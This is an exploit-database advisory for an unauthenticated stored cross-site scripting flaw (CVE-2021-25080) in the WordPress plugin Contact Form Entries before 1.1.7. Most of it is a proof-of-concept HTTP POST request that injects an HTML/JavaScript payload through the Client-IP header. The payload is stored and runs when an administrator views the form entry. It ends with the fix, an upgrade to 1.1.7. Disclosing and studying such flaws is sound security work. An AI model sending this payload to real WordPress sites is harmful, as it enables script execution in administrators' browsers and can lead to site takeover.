[webapps] WordPress Plugin Contact Form Entries 1.1.6 - Cross Site Scripting (XSS) (Unauthenticated)

# Exploit Title: WordPress Plugin Contact Form Entries 1.1.6 - Cross Site Scripting (XSS) (Unauthenticated) # Date: 22/12/2021 # Exploit Author: gx1 <gaetano.perrone[at]secsi.io> # Vulnerability Discovery: Gaetano Perrone # Vendor Homepage: https://www.crmperks.com/ # Software Link: https://wordpress.org/plugins/contact-form-entries/ # Version: < 1.1.7 # Tested on: any # References: * https://wpscan.com/vulnerability/acd3d98a-aab8-49be-b77e-e8c6ede171ac * https://secsi.io/blog/cve-2021-25080-finding-cross-site-scripting-vulnerabilities-in-headers/ # Description: Contact Form Entries < 1.1.7 is vulnerable to Unauthenticated Stored Cross-Site Scripting # Technical Details and Exploitation: CRM Form Entries CRM is vulnerable to a Stored XSS in Client IP field. When the user uploads a new form, CRM Form Entries checks for the client IP in order to save information about the user: =============================================================================================================== public function get_ip(), wp-content/plugins/contact-form-entries/contact-form-entries.php, line 1388 ============================================================================================================== The user can set an arbitrary "HTTP_CLIENT_IP" value, and the value is stored inside the database. # Proof Of Concept: Suppose that you have a Contact Form, intercept the POST request and insert the following Client-IP header =============================================================================================================== POST /index.php?rest_route=/contact-form-7/v1/contact-forms/10/feedback HTTP/1.1 Host: dsp.com:11080 Content-Length: 1411 Accept: application/json, text/javascript, */*; q=0.01 X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 ... Client-IP: <img src=a onerror=alert(1)> ------WebKitFormBoundaryCuNGXLnhRsdglEAx Content-Disposition: form-data; name="_wpcf7" 10 ------WebKitFormBoundaryCuNGXLnhRsdglEAx Content-Disposition: form-data; name="_wpcf7_version" 5.3.1 ------WebKitFormBoundaryCuNGXLnhRsdglEAx Content-Disposition: form-data; name="_wpcf7_locale" en_US ------WebKitFormBoundaryCuNGXLnhRsdglEAx Content-Disposition: form-data; name="_wpcf7_unit_tag" wpcf7-f10-p13-o1 ------WebKitFormBoundaryCuNGXLnhRsdglEAx Content-Disposition: form-data; name="_wpcf7_container_post" Content-Disposition: form-data; name="_wpcf7" 10 ------WebKitFormBoundaryCuNGXLnhRsdglEAx Content-Disposition: form-data; name="_wpcf7_version" 5.3.1 ------WebKitFormBoundaryCuNGXLnhRsdglEAx Content-Disposition: form-data; name="_wpcf7_locale" en_US ------WebKitFormBoundaryCuNGXLnhRsdglEAx Content-Disposition: form-data; name="_wpcf7_unit_tag" wpcf7-f10-p13-o1 ------WebKitFormBoundaryCuNGXLnhRsdglEAx Content-Disposition: form-data; name="_wpcf7_container_post" ... =============================================================================================================== The request is acccepted, and the code navigates the section $_SERVER['HTTP_CLIENT_IP'] , ip is injected and saved inside the database. When the administrator clicks on the entry element in the plugin, the XSS is triggered. # Solution: Upgrade Contact Form Entries to version 1.1.7